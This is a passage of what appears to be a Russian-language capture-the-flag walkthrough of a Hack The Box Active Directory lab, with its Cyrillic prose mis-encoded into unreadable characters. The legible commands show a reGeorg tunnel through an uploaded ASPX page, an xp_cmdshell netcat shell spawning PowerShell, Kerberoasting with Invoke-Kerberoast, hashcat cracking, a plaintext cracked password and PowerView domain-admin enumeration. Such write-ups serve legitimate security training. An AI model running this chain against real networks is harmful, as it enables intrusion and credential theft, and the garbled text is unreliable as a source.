Π‘ Π½Π°ΠΉΠ΄Π΅Π½Π½ΡΠΌΠΈ ΡΡΠ΅ΡΠ½ΡΠΌΠΈ Π΄Π°Π½Π½ΡΠΌΠΈ Π·Π°ΠΉΠ΄Π΅ΠΌ Π½Π° /admin ΠΈ Π·Π°Π±ΠΈΡΠ°Π΅ΠΌ ΡΠ»Π°Π³.
Foothold flag
ΠΠ° ΡΠ°ΠΌΠΎΠΌ Π΄Π΅Π»Π΅ ΠΎΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ ΡΠ°ΠΉΠ΅ΡΠ²ΠΎΠ»Π° Π΅ΡΡΡ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ Π½Π΅ΡΠ΄ΠΎΠ±ΡΡΠ²Π°, Π½ΠΎ ΠΏΡΠΎΡΠΌΠ°ΡΡΠΈΠ²Π°Ρ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ ΡΠ΅ΡΠΈ, Π·Π°ΠΌΠ΅ΡΠ°Π΅ΠΌ, ΡΡΠΎ ΡΠ°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ ΠΏΡΠΎΠΊΠΎΠ» IPv6!
ΠΠΎΠ±Π°Π²ΠΈΠΌ Π΄Π°Π½Π½ΡΠΉ Π°Π΄ΡΠ΅Ρ Π² /etc/hosts.
dead:babe::1001 poo6.htb
ΠΠ°Π²Π°ΠΉΡΠ΅ ΡΠ½ΠΎΠ²Π° ΠΏΡΠΎΡΠΊΠ°Π½ΠΈΡΡΠ΅ΠΌ Ρ
ΠΎΡΡ, Π½ΠΎ ΡΠΆΠ΅ ΠΏΠΎ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Ρ IPv6.
Π ΠΏΠΎ IPv6 Π΄ΠΎΡΡΡΠΏΠ½Π° ΡΠ»ΡΠΆΠ±Π° WinRM. ΠΠΎΠ΄ΠΊΠ»ΡΡΠΈΠΌΡΡ Ρ Π½Π°ΠΉΠ΄Π΅Π½Π½ΡΠΌΠΈ ΡΡΠ΅ΡΠ½ΡΠΌΠΈ Π΄Π°Π½Π½ΡΠΌΠΈ.
ΠΠ° ΡΠ°Π±ΠΎΡΠ΅ΠΌ ΡΡΠΎΠ»Π΅ Π΅ΡΡΡ ΡΠ»Π°Π³, ΡΠ΄Π°Π΅ΠΌ Π΅Π³ΠΎ.
P00ned flag
ΠΡΠΎΠ²Π΅Π΄Ρ ΡΠ°Π·Π²Π΅Π΄ΠΊΡ Π½Π° Ρ
ΠΎΡΡΠ΅ Ρ ΠΏΠΎΠΌΠΎΡΡΡ
setspn.exe -T intranet.poo -Q */*
ΠΠ°Π²Π°ΠΉΡΠ΅ Π²ΡΠΏΠΎΠ»Π½ΠΈΠΌ ΠΊΠΎΠΌΠ°Π½Π΄Ρ ΡΠ΅ΡΠ΅Π· MSSQL.
Π£ΠΊΠ°Π·Π°Π½Π½ΡΠΌ ΡΠΏΠΎΡΠΎΠ±ΠΎΠΌ ΠΌΡ ΠΏΠΎΠ»ΡΡΠ°Π΅ΠΌ SPN ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΉ p00_hr ΠΈ p00_adm, Π° ΡΡΠΎ ΠΎΠ·Π½Π°ΡΠ°Π΅Ρ, ΡΡΠΎ ΠΎΠ½ΠΈ ΡΡΠ·Π²ΠΈΠΌ ΠΊ ΡΠ°ΠΊΠΎΠΉ Π°ΡΠ°ΠΊΠ΅, ΠΊΠ°ΠΊ Kerberoasting. ΠΡΠ»ΠΈ Π²ΠΊΡΠ°ΡΡΠ΅, ΡΠΎ ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ»ΡΡΠΈΡΡ Ρ
Π΅ΡΠΈ ΠΈΡ
ΠΏΠ°ΡΠΎΠ»Π΅ΠΉ.
ΠΠ»Ρ Π½Π°ΡΠ°Π»Π° Π½ΡΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΡΡΠ°Π±ΠΈΠ»ΡΠ½ΡΠΉ ΡΠ΅Π»Π» ΠΎΡ ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ MSSQL. ΠΠΎ ΡΠ°ΠΊ ΠΊΠ°ΠΊ Π½Π°Ρ ΠΎΠ³ΡΠ°Π½ΠΈΡΠΈΠ²Π°ΡΡ Π² Π΄ΠΎΡΡΡΠΏΠ΅, ΡΠΎ ΠΌΡ ΠΈΠΌΠ΅Π΅ΠΌ ΡΠ²ΡΠ·Ρ Ρ Ρ
ΠΎΡΡΠΎΠΌ ΡΠΎΠ»ΡΠΊΠΎ ΡΠ΅ΡΠ΅Π· 80 ΠΈ 1433 ΠΏΠΎΡΡ. ΠΠΎ Π΅ΡΡΡ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡ ΡΡΠ½Π½Π΅Π»ΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΡΡΠ°ΡΠΈΠΊΠ° ΡΠ΅ΡΠ΅Π· 80 ΠΏΠΎΡΡ! ΠΠ»Ρ ΡΡΠΎΠ³ΠΎ Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΡ
ΠΠΎ ΠΏΡΠΈ ΠΏΠΎΠΏΡΡΠΊΠ΅ ΠΎΠ±ΡΠ°ΡΠΈΡΡΡΡ ΠΊ Π½Π΅ΠΌΡ ΠΏΠΎΠ»ΡΡΠ°Π΅ΠΌ ΠΎΡΠΈΠ±ΠΊΡ 404. ΠΡΠΎ ΠΎΠ·Π½Π°ΡΠ°Π΅Ρ, ΡΡΠΎ ΡΠ°ΠΉΠ»Ρ *.aspx Π½Π΅ Π²ΡΠΏΠΎΠ»Π½ΡΡΡΡΡ. Π§ΡΠΎΠ±Ρ ΡΠ°ΠΉΠ»Ρ Ρ Π΄Π°Π½Π½ΡΠΌ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΡΠΌ ΡΡΠ°Π»ΠΈ Π²ΡΠΏΠΎΠ»Π½ΡΡΡΡΡ, ΡΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ ASP.NET 4.5 ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Π ΡΠ΅ΠΏΠ΅ΡΡ ΠΏΡΠΈ ΠΎΠ±ΡΠ°ΡΠ΅Π½ΠΈΠΈ ΠΊ tunnel.aspx ΠΏΠΎΠ»ΡΡΠ°Π΅ΠΌ ΠΎΡΠ²Π΅Ρ, ΡΡΠΎ Π²ΡΠ΅ Π³ΠΎΡΠΎΠ²ΠΎ ΠΊ ΡΠ°Π±ΠΎΡΠ΅.
ΠΠ°Π²Π°ΠΉΡΠ΅ Π·Π°ΠΏΡΡΡΠΈΠΌ ΠΊΠ»ΠΈΠ΅Π½ΡΡΠΊΡΡ ΡΠ°ΡΡΡ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ, ΠΊΠΎΡΠΎΡΠ°Ρ Π±ΡΠ΄Π΅Ρ Π·Π°Π½ΠΈΠΌΠ°ΡΡΡΡ ΡΠ΅ΡΡΠ°Π½ΡΠ»ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ ΡΡΠ°ΡΠΈΠΊΠ°. ΠΡ Π±ΡΠ΄Π΅ΠΌ ΠΏΠ΅ΡΠ΅Π½Π°ΠΏΡΠ°Π²Π»ΡΡΡ Π²Π΅ΡΡ ΡΡΠ°ΡΠΈΠΊ Ρ 5432 ΠΏΠΎΡΡΠ° Π½Π° ΡΠ΅ΡΠ²Π΅Ρ.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Π ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌ proxychains, ΡΡΠΎΠ±Ρ ΡΠ»Π°ΡΡ ΡΡΠ°ΡΠΈΠΊ Π»ΡΠ±ΠΎΠ³ΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ ΡΠ΅ΡΠ΅Π· Π½Π°Ρ ΠΏΡΠΎΠΊΡΠΈ. ΠΠΎΠ±Π°Π²ΠΈΠΌ Π΄Π°Π½Π½ΡΠΉ ΠΏΡΠΎΠΊΡΠΈ Π² ΡΠ°ΠΉΠ» ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΈ /etc/proxychains.conf.
Π’Π΅ΠΏΠ΅ΡΡ Π·Π°Π³ΡΡΠ·ΠΈΠΌ Π½Π° ΡΠ΅ΡΠ²Π΅Ρ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ
Π’Π΅ΠΏΠ΅ΡΡ ΡΠ΅ΡΠ΅Π· MSSQL Π·Π°ΠΏΡΡΠΊΠ°Π΅ΠΌ Π»ΠΈΡΡΠ΅Π½Π΅Ρ.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Π ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠ°Π΅ΠΌΡΡ ΡΠ΅ΡΠ΅Π· Π½Π°Ρ ΠΏΡΠΎΠΊΡΠΈ.
proxychains rlwrap nc poo.htb 4321
Π Π΄Π°Π²Π°ΠΉΡΠ΅ ΠΏΠΎΠ»ΡΡΠΈΠΌ Ρ
Π΅ΡΠΈ.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
ΠΠ°Π»Π΅Π΅ Π½ΡΠΆΠ½ΠΎ ΠΏΠ΅ΡΠ΅Π±ΡΠ°ΡΡ ΡΡΠΈ Ρ
Π΅ΡΠΈ. Π’Π°ΠΊ ΠΊΠ°ΠΊ Π² rockyou ΡΠ»ΠΎΠ²Π°ΡΠ΅ Π΄Π°Π½Π½ΡΡ
ΠΏΠ°ΡΠΎΠ»Π΅ΠΉ Π½Π΅ Π±ΡΠ»ΠΎ, ΡΠΎ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π» ΠΠ‘Π ΡΠ»ΠΎΠ²Π°ΡΠΈ passwords, ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»Π΅Π½Π½ΡΠ΅ Π² Seclists. ΠΠ»Ρ ΠΏΠ΅ΡΠ΅Π±ΠΎΡΠ° ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌ hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Π Π½Π°Ρ ΠΎΠ΄ΠΈΠΌ ΠΎΠ±Π° ΠΏΠ°ΡΠΎΠ»Ρ, ΠΏΠ΅ΡΠ²ΡΠΉ Π² ΡΠ»ΠΎΠ²Π°ΡΠ΅ dutch_passwordlist.txt, Π° Π²ΡΠΎΡΠΎΠΉ Π² Keyboard-Combinations.txt.
Π ΡΠ°ΠΊ Ρ Π½Π°Ρ Π΅ΡΡΡ ΡΡΠΈ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ, ΠΈΠ΄Π΅ΠΌ Π½Π° ΠΊΠΎΠ½ΡΡΠΎΠ»Π»Π΅Ρ Π΄ΠΎΠΌΠ΅Π½Π°. Π‘Π½Π°ΡΠ°Π»Π° ΡΠ·Π½Π°Π΅ΠΌ Π΅Π³ΠΎ Π°Π΄ΡΠ΅Ρ.
ΠΡΠ»ΠΈΡΠ½ΠΎ, ΠΌΡ ΡΠ·Π½Π°Π»ΠΈ IP Π°Π΄ΡΠ΅Ρ ΠΊΠΎΠ½ΡΡΠΎΠ»Π»Π΅ΡΠ° Π΄ΠΎΠΌΠ΅Π½Π°. ΠΠ°Π²Π°ΠΉΡΠ΅ ΡΠ·Π½Π°Π΅ΠΌ Π²ΡΠ΅Ρ
ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΉ Π΄ΠΎΠΌΠ΅Π½Π°, Π° ΡΠ°ΠΊΠΆΠ΅ ΠΊΡΠΎ ΠΈΠ· Π½ΠΈΡ
ΡΠ²Π»ΡΠ΅ΡΡΡ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠΎΠΌ. ΠΠ»Ρ Π·Π°Π³ΡΡΠ·ΠΈΠΌ ΡΠΊΡΠΈΠΏΡ Π΄Π»Ρ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ PowerView.ps1. ΠΠΎΡΠΎΠΌ ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠΈΠΌΡΡ Ρ ΠΏΠΎΠΌΠΎΡΡΡ evil-winrm, ΡΠΊΠ°Π·Π°Π² Π² ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠ΅ -s Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ ΡΠΎ ΡΠΊΡΠΈΠΏΡΠΎΠΌ. Π ΠΏΠΎΡΠΎΠΌ ΠΏΡΠΎΡΡΠΎ Π·Π°Π³ΡΡΠ·ΠΈΠΌ ΡΠΊΡΠΈΠΏΡ PowerView.
Π’Π΅ΠΏΠ΅ΡΡ Π½Π°ΠΌ Π΄ΠΎΡΡΡΠΏΠ½Ρ Π²ΡΠ΅ Π΅Π³ΠΎ ΡΡΠ½ΠΊΡΠΈΠΈ. ΠΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ p00_adm ΠΏΠΎΡ
ΠΎΠΆ Π½Π° ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ, ΠΏΠΎΡΡΠΎΠΌΡ Π±ΡΠ΄Π΅ΠΌ ΡΠ°Π±ΠΎΡΠ°ΡΡ Π² Π΅Π³ΠΎ ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ΅. Π‘ΠΎΠ·Π΄Π°Π΄ΠΈΠΌ ΠΎΠ±ΡΠ΅ΠΊΡ PSCredential Π΄Π»Ρ ΡΡΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Π’Π΅ΠΏΠ΅ΡΡ Π²ΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Powershell, Π³Π΄Π΅ ΠΌΡ ΡΠΊΠ°ΠΆΠ΅ΠΌ Creds, Π±ΡΠ΄ΡΡ Π²ΡΠΏΠΎΠ»Π½Π΅Π½Ρ ΠΎΡ ΠΈΠΌΠ΅Π½ΠΈ p00_adm. ΠΠ°Π²Π°ΠΉΡΠ΅ Π²ΡΠ²Π΅Π΄Π΅ΠΌ ΡΠΏΠΈΡΠΎΠΊ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΉ ΠΈ Π°ΡΡΠΈΠ±ΡΡ AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Π ΡΠ°ΠΊ, Π½Π°Ρ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ ΡΠ΅Π°Π»ΡΠ½ΠΎ ΡΠ²Π»ΡΠ΅ΡΡΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΎΠ²Π°Π½Π½ΡΠΌ. ΠΠ°Π²Π°ΠΉΡΠ΅ Π³Π»ΡΠ½Π΅ΠΌ, Π² ΠΊΠ°ΠΊΠΈΡ
Π³ΡΡΠΏΠΏΠ°Ρ
ΠΎΠ½ ΡΠΎΡΡΠΎΠΈΡ.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
ΠΠΊΠΎΠ½ΡΠ°ΡΠ΅Π»ΡΠ½ΠΎ ΡΡΠ²Π΅ΡΠΆΠ΄Π°Π΅ΠΌΡΡ, ΡΡΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ ΡΠ²Π»ΡΠ΅ΡΡΡ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠΎΠΌ Π΄ΠΎΠΌΠ΅Π½Π°. ΠΡΠΎ Π΄Π°Π΅Ρ Π΅ΠΌΡ ΠΏΡΠ°Π²ΠΎ ΡΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π²Ρ
ΠΎΠ΄Π° Π½Π° ΠΊΠΎΠ½ΡΡΠΎΠ»Π»Π΅Ρ Π΄ΠΎΠΌΠ΅Π½Π°. ΠΠ°Π²Π°ΠΉΡΠ΅ ΠΏΠΎΠΏΡΠΎΠ±ΡΠ΅ΠΌ Π²ΠΎΠΉΡΠΈ ΡΠ΅ΡΠ΅Π· WinRM, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ Π½Π°Ρ ΡΡΠ½Π½Π΅Π»Ρ. ΠΠ΅Π½Ρ ΡΠΌΡΡΠΈΠ»ΠΈ ΠΎΡΠΈΠ±ΠΊΠΈ, Π²ΡΠ΄Π°Π²Π°Π΅ΠΌΡΠ΅ reGeorgβΠΎΠΌ ΠΏΡΠΈ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠΈ evil-winrm.
Π’ΠΎΠ³Π΄Π° Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΡ Π΄ΡΡΠ³ΠΈΠΌ, Π±ΠΎΠ»Π΅Π΅ Π»Π΅Π³ΠΊΠΈΠΌ,
ΠΡΠΎΠ±ΡΠ΅ΠΌ ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠΈΡΡΡΡ, ΠΈ ΠΌΡ Π² ΡΠΈΡΡΠ΅ΠΌΠ΅.
ΠΠΎ ΡΠ»Π°Π³Π° Π½Π΅Ρ. Π’ΠΎΠ³Π΄Π° ΠΏΠΎΡΠΌΠΎΡΡΠΈ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ ΠΈ ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌ ΡΠ°Π±ΠΎΡΠΈΠ΅ ΡΡΠΎΠ»Ρ.
Π£ mr3ks Π½Π°Ρ
ΠΎΠ΄ΠΈΠΌ ΡΠ»Π°Π³ ΠΈ Π»Π°Π±ΠΎΡΠ°ΡΠΎΡΠΈΡ ΠΏΡΠΎΠΉΠ΄Π΅Π½Π° Π½Π° 100%.
ΠΠΎΡ ΠΈ Π²ΡΠ΅. Π ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΠΎΠ±ΡΠ°ΡΠ½ΠΎΠΉ ΡΠ²ΡΠ·ΠΈ, ΠΏΡΠΎΠΊΠΎΠΌΠΌΠ΅Π½ΡΠΈΡΡΠΉΡΠ΅ β ΡΠ·Π½Π°Π»ΠΈ Π»ΠΈ ΠΡ ΡΡΠΎ-ΡΠΎ Π½ΠΎΠ²ΠΎΠ΅ ΠΈΠ· Π΄Π°Π½Π½ΠΎΠΉ ΡΡΠ°ΡΡΠΈ ΠΈ Π±ΡΠ»Π° Π»ΠΈ ΠΎΠ½Π° ΠΠ°ΠΌ ΠΏΠΎΠ»Π΅Π·Π½Π°.
ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΏΡΠΈΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡΡΡΡ ΠΊ Π½Π°ΠΌ Π²
ΠΡΡΠΎΡΠ½ΠΈΠΊ: habr.com